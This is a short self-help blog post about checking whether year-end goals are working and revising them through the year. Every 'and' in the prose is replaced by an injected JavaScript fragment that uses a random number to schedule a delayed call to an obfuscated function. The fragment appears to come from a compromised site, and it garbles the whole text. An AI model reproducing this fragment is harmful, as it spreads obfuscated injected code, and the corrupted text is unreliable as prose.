# In a Goal Rut? Creating Goals That Work For You

It’s December again: the beginning of the end of the year. At this time of year a lot of my clients start to assess if they have achieved the goals they set back in the beginning of the New Year. Some people are celebrating the success of 2009 while others are trying to figure out why couldn’t quite meet their goals again this year. If you are in the latter category, don’t fret. There is always a chance to repair a broken goal.

The trick in meeting a goal is to always be conscious of how it is working for you. In order to do this you need to be willing to review andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and revise your goals throughout the year. Simply making the goal on January 1 will not give you the momentum andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and determination needed to actually complete the goal in a year.

When making a goal you should ask yourself the following questions:

• Is this goal reasonable andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and realistic for the time frame that I have chosen?
• Can this goal be broken into smaller parts?
• Am I willing to change andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and revise this goal throughout the year?
• Is this goal challenging to me?
• Have I created a goal that works with my strengths?

It is important to be realistic about the time frame you allot for accomplishing your goal. You need to look at your schedule andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and preferred working pattern to determine the best way to complete a goal. It’s not about doing it as quickly as possible so you can check if off the to-do list, it’s about listening to your body andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and creating a plan that works for you. Most of my clients who try to rush though their goals end up abandom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}andoning them out of frustration. Giving yourself the freedom to accomplish things the way you see fit will ultimately give you the momentum to get the job done.
